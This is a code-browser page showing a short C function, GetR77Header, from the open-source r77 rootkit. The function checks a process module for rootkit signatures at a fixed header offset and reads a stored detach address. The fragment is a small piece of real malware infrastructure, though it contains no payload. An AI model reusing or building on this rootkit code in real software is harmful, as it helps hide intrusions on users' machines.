MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / GetR77Header

Function GetR77Header

r77api/r77header.c:5–19  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

3#include "r77win.h"
4
5WORD GetR77Header(LPVOID *detachAddress)
6{
7 LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
8 if (module)
9 {
10 WORD signature = *(LPWORD) & module[R77_HEADER_OFFSET];
11 if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
12 {
13 if (detachAddress) *detachAddress = (LPVOID) * (PDWORD64) & module[R77_HEADER_OFFSET + 2];
14 return signature;
15 }
16 }
17
18 return 0;
19}
20BOOL WriteR77Header(WORD signature, LPVOID detachAddress)
21{
22 BOOL result = FALSE;

Callers 1

InitializeServiceFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected